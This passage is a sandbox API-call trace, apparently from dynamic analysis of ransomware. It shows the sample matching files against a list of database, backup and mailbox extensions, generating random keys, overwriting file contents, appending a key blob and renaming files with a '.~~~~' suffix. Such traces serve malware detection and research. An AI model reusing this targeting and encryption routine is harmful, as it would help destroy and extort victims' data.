	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.540] lstrlenW (lpString=".myd") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.540] lstrlenW (lpString=".DTXS") returned 5
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.540] lstrlenW (lpString=".ckp") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.540] lstrlenW (lpString=".dbt") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.540] lstrlenW (lpString=".db") returned 3
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.540] lstrlenW (lpString=".TXT") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.540] lstrlenW (lpString=".MDF") returned 4
	[0086.540] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.541] lstrlenW (lpString=".bdb") returned 4
	[0086.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.541] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.541] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.541] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.541] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.542] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.542] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0086.543] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20653267910) returned 1
	[0086.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d648290, dwHighDateTime=0x1d60e1e)) 
	[0086.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9c10
	[0086.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c10 | out: hHeap=0x300000) returned 1
	[0086.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb378
	[0086.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb378 | out: hHeap=0x300000) returned 1
	[0086.543] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.543] GetLastError () returned 0x0
	[0086.544] GetLastError () returned 0x0
	[0086.544] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.544] GetLastError () returned 0x0
	[0086.544] GetLastError () returned 0x0
	[0086.563] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffb834, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.563] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x47cc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x47cc, lpOverlapped=0x0) returned 1
	[0086.564] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.564] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.564] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.564] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.564] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.564] CloseHandle (hObject=0x120) returned 1
	[0086.564] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8cc0
	[0086.564] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.~~~~")) returned 1
	[0086.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0086.565] GetLastError () returned 0x0
	[0086.566] lstrlenW (lpString=".sqb") returned 4
	[0086.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.566] lstrlenW (lpString=".ost") returned 4
	[0086.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.566] lstrlenW (lpString=".txt") returned 4
	[0086.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.566] lstrlenW (lpString=".mdt") returned 4
	[0086.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.566] lstrlenW (lpString=".BDB") returned 4
	[0086.566] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.567] lstrlenW (lpString=".eql") returned 4
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.567] lstrlenW (lpString=".DBF") returned 4
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.567] lstrlenW (lpString=".EQL") returned 4
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.567] lstrlenW (lpString=".FDB") returned 4
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.567] lstrlenW (lpString=".EDB") returned 4
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.567] lstrlenW (lpString=".DACPAC") returned 7
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.567] lstrlenW (lpString=".VHD") returned 4
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.567] lstrlenW (lpString=".DBV") returned 4
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.567] lstrlenW (lpString=".dacpac") returned 7
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.567] lstrlenW (lpString=".sdf") returned 4
	[0086.567] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.568] lstrlenW (lpString=".accdb") returned 6
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.568] lstrlenW (lpString=".DBX") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.568] lstrlenW (lpString=".MDT") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.568] lstrlenW (lpString=".SQB") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.568] lstrlenW (lpString=".vhd") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.568] lstrlenW (lpString=".bac") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.568] lstrlenW (lpString=".mdf") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.568] lstrlenW (lpString=".BAK") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.568] lstrlenW (lpString=".BAC") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.568] lstrlenW (lpString=".dbs") returned 4
	[0086.568] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.568] lstrlenW (lpString=".vhdx") returned 5
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.569] lstrlenW (lpString=".NDF") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.569] lstrlenW (lpString=".dat") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.569] lstrlenW (lpString=".DBS") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.569] lstrlenW (lpString=".CKP") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.569] lstrlenW (lpString=".edb") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.569] lstrlenW (lpString=".PST") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.569] lstrlenW (lpString=".dbf") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.569] lstrlenW (lpString=".SQL") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.569] lstrlenW (lpString=".pst") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.569] lstrlenW (lpString=".dbv") returned 4
	[0086.569] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.570] lstrlenW (lpString=".SDF") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.570] lstrlenW (lpString=".dtxs") returned 5
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.570] lstrlenW (lpString=".db3") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.570] lstrlenW (lpString=".OST") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.570] lstrlenW (lpString=".dbx") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.570] lstrlenW (lpString=".DB3") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.570] lstrlenW (lpString=".DAT") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.570] lstrlenW (lpString=".VHDX") returned 5
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.570] lstrlenW (lpString=".ndf") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0086.570] lstrlenW (lpString=".DB") returned 3
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.570] lstrlenW (lpString=".sql") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.570] lstrlenW (lpString=".MYD") returned 4
	[0086.570] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.570] lstrlenW (lpString=".DBT") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.571] lstrlenW (lpString=".ACCDB") returned 6
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.571] lstrlenW (lpString=".fdb") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.571] lstrlenW (lpString=".bak") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.571] lstrlenW (lpString=".myd") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.571] lstrlenW (lpString=".DTXS") returned 5
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.571] lstrlenW (lpString=".ckp") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.571] lstrlenW (lpString=".dbt") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.571] lstrlenW (lpString=".db") returned 3
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.571] lstrlenW (lpString=".TXT") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.571] lstrlenW (lpString=".MDF") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.571] lstrlenW (lpString=".bdb") returned 4
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.571] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.571] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0086.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.572] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.573] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.573] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.573] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0086.574] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20656377717) returned 1
	[0086.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d694550, dwHighDateTime=0x1d60e1e)) 
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9bd8
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9bd8 | out: hHeap=0x300000) returned 1
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0086.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.574] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d850
	[0086.574] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0086.574] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.575] GetLastError () returned 0x0
	[0086.575] GetLastError () returned 0x0
	[0086.575] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.575] GetLastError () returned 0x0
	[0086.575] GetLastError () returned 0x0
	[0086.579] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff5a2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.579] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xa5d5, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0xa5d5, lpOverlapped=0x0) returned 1
	[0086.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.581] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.581] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.581] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.581] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.581] CloseHandle (hObject=0x120) returned 1
	[0086.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8cc0
